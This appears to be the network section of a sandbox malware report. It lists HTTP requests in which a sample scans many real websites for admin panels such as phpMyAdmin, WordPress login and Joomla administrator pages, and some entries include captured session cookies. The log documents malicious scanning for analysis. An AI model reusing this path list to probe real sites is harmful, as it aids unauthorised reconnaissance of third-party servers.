Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipCookie: PublishedSiteSession=eyJpdiI6Ik9iRDZCclQ1UEJFcVRhU0M0Z2JWd0E9PSIsInZhbHVlIjoiLzhpMDY3eGRpRmFYNGZsVG5UN01DUGY3cGlYalNpc0lBVWhIc2o2VWlrQWRpV21uR01FVEJXSCszQTg5UTlDQk83RytmS296VWZQZGk4UGZlaE10QlpUa29sV3E5OG1rMzdZV2tNWEZscnUwK2k1NVpvR0hJOWswKzNPMTRXV3giLCJtYWMiOiJmZThhNzk4NzM0NGI2YWIwMzkzYzBiOGIzNTdkNjk5YTA2NDFlM2E0ZGY2ZGNkNTBmNTI4YTRkNDUzODhiMTMwIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6InNSUUdPSlJvRjI4SU9XL0o1aG5yTmc9PSIsInZhbHVlIjoiaDROU2VITEgzb3IwMm1QU1FWM0hlZE94NWVBMW4vSEczTlN3YTBWc3had20wWmljdkJ2RHdJRWk3SFk3UHhGTGh5Nis5dzl2UlVNSW40cU9wWG5sZ0lyVkc0eUg2a3BJbTd2VWZwZjBkdDBWNDcrbDBKTHBrazg5S3E5cHdlQXYiLCJtYWMiOiI4ZjljNzY5YTJmMjg3Nzg5ZDk1ZGRhZTk4YzBlNGVhNTVmZWM3NGE3M2FjNjM5NWMxNDhhNjU2ODU5NDdlNzZkIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IkI1ejVQMUpRYWxNcjgranNNVTBURFE9PSIsInZhbHVlIjoid3hpb3hCWENGcnU0M0ZDYktoTjAzMDQyOE8vZjRUUXJ2NjRuRzJ4Z0FtWitaNG00ckFqM0xzc1NHdWx5SGVwbzhPcldyUU5zK2hJMGVHUXlYQjBHcnM2WXVYUEZIS2hPKzA5UDl5dEoyRzUvYmkveVoxcHBJcmo5MVI3M0xjeUkiLCJtYWMiOiJiNDcwN2IyNzZjYzUyMzhmOTAyMzQ2ZmEwMjM0MTMwZmUzN2Y4ZTczNThjZmZiZGQ1NGU0MTcyN2Y3MTZiYWY0IiwidGFnIjoiIn0%3DUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: talentius.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: eco-landeck.atAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: rech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: hightideinc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.harasduberry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipCookie: PublishedSiteSession=eyJpdiI6Imo1aVN2WVJmWnBrNnZqSXJrYXFoblE9PSIsInZhbHVlIjoidVNWYlV1bDRTdmFsRnQ0anV4Zy9kK3RTUXdEQVFwV1I5OXo1Z0hKUTBWbWxoeFNDUGEwM3F0d1Y2d29pZFZoZm5GQUloWURIUW1SRUo0aHQ5Ry8xTEhUejRwYndPNVlGSDdtbXZMUkxVbjcwNmxQTVpKSnV1dVZsQ3B5ajZnOTkiLCJtYWMiOiJjZWU3NTQ4MWIwNzUyNDE5MDQ3NWZjNGY3YjYwMWJiZjMwNzk4ZDZmOGU2ZjFhYTNkNzA5N2RkOTgwNzBlMmJiIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6InZhbDJwVnlLUWhubGJIVTRxS1RyS3c9PSIsInZhbHVlIjoibEtHV0dCVjhVZFFxdXVPckRoandqSmJIM2VpRWo3WkE2ejZGY2pQbU5MVDEyaUwxT3czZzd6T2tYUFc2WjNmYm83eGJpaCtkTnU2eW1zMmcxN3N5eHJlbjdPL1drOGwyOUw5TjhsM0k1MnBoWDhYOHJucU5VWGN6Z3lZOC9qejUiLCJtYWMiOiJkYmI0NTNiNTQ5YzNhYzUxNjUyMDM2MWNlM2QzYzYxNGMyZTJhMWY2MzYyYWNiN2JjNzQ2ODI5NzJlMjU2MGQ0IiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IkxXaFVUaFNtTzd2ZGkvek9mQ0hvQmc9PSIsInZhbHVlIjoiZmhtK2lrVUlvZjdVZHpFVWVmMjR6b0VFRVYwWWdxaXNkRmpTQ202R0hubjNUM2czRThCblFXTXNOVjhQNC9kdS8yMmhialBBNGtpcW05eDZ0NDJzMGFDZ2VUemRuU2dvU01pdUNUdGEwc0wvUFRqdUt3MFl6RFlkblFaTWhZQy8iLCJtYWMiOiI2ZTM3MmEwZmUyNWQ5ZDgyYTFhNWQwMDg4OWNkNTdlNmI5ZDJhZmM1MzcwMzM3NDgxZjBlNDI5MTllNTVlN2VjIiwidGFnIjoiIn0%3DUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://www.gatewaytoearlylearning.com/administrator
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: getquipu.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.bunasta.euAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: wonka.ccAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: mydirectlender.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: gruporegiosafety.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://gruporegiosafety.com/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: jamiesonmullin.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://jamiesonmullin.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: engel-firm.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://ce-logic.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.grantstech.io/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-admin HTTP/1.1Host: www.linkan-group.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.linkan-group.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-admin HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.2brospw.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /en/wp-admin HTTP/1.1Host: www.dstaq.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.dstaq.com/en/wp-login.php
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: engel-firm.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipCookie: site_version_phase=108; site_version=HDv3User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.hugedomains.com/domain_profile.cfm?d=robinsonland.com
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://webstamp.ca/wp-login.php
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.knu.ac.inAccept: /Accept-Encoding: deflate, gzipCookie: laravel_session=eyJpdiI6IldVSVdPNGdUR2JDN2tFR2tvcjMzVXc9PSIsInZhbHVlIjoiR29jOElPY2pHK2ZKdjF3WnkwSWljS0sxNjMyc3Rrb3RZM0hsRHU0ZU1HN05jaEV6UVQyL2RLajNSV0VZYllpU2VObUhVVEdQVDE5OHRHUlZ1czZtOWozL0FJSUNFOTFTM255UW5tbzJ2MVhrdnp3VWgrUS9abDhpN1VkSW1SdDQiLCJtYWMiOiI1NmYxZWE0YTI5ZmE1NzcxMGY4NjhmMGJkZDFlOTcyZWNiYTIyMWQ0Nzk1N2RhMzgyYzNjYjhjMzMxOTIxMjM3In0%3D; XSRF-TOKEN=eyJpdiI6IkFPalpTRG5rdmUxUmNpVVMyVW9VL0E9PSIsInZhbHVlIjoiVmN5VjBEN0doZmxEdWNNOXh2RVFoUzNjb0pHcEdNZDZ2ay9zaWladjB5bmtoMk5HcTloeWZBb0p0aXBnK2kvQTVrOHpkOW8yelBQTmYzZDN0bWQwNnFnZENVTXN5OVBIdnJwYk9TTGpCa1o5TXZaMWZkZ1ZtdXIwcXdhMjFmZlQiLCJtYWMiOiI5OGQyNjEwOGYxMmJlNjUzZDYxZTEyMjM3ZjEzMWJkM2E0NjU0NzE5MzYyYjAyMTA5ZmY5MGY3NDZkNmI4NTk1In0%3DUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.knu.ac.in/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://unaj.edu.pe/wp-login.php
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipCookie: k8spersistent=22cb6f4364865b2e22019c7dac43ae73\|11f187638643e13d7bd1963991fac52b; OF=3dbfg2bnrmlhvmjhpi48421sg2User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.beachrecruitment.com/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: mydirectlender.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: hightideinc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: edgewater.groupAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: belongfbg.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: gruporegiosafety.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: tradeavenida.comAccept: /Accept-Encoding: deflate, gzipCookie: _cfuvid=O9GVX4jId9RJuNoELP6FOmLes7L1Dv_lQ.oZC7Kt.D0-1700978377959-0-604800000User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: himontessori.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipCookie: k8spersistent=8ce644f91f3f0aa94249a98a8e2141b0\|11f187638643e13d7bd1963991fac52b; OF=ggr72avlfjvqinhaol7mprbv57User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: integraledu.hrAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: tiswheels.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.ceuandalucia.esAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: talentius.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.harasduberry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.maxiv.lu.seAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: tiswheels.comAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=8257809a7475c7fa7752a0e86fe7cff7User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: getquipu.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: tradeavenida.comAccept: /Accept-Encoding: deflate, gzipCookie: _cfuvid=R0qqCwK.17oONu7RjBLPHjggdQkWTgT9UHD8GB3iYHI-1700978378407-0-604800000User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: samson.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: bunasta.euAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.bunasta.eu/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: engel-firm.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: eco-landeck.atAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.rech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.perrisesd.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: saudi-jamac.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: www.gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: my.calvary.qld.edu.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: student.debritto.sch.idAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.avient.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://esoft.academy/wp-login.php
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: coralparkchristian.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: mydirectlender.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: hightideinc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: jamiesonmullin.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: talentius.comAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=tsjerc0qbgetoevok3cpga3dv1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://talentius.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: himontessori.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.perrisesd.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: rechagricola.com.brAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.linkan-group.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en/admin.php HTTP/1.1Host: www.dstaq.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: mydirectlender.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: hightideinc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: edgewater.groupAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: tiswheels.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: micro-design.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: getquipu.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.maxiv.lu.seAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: daisyokogyo.co.jpAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.ceuandalucia.esAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
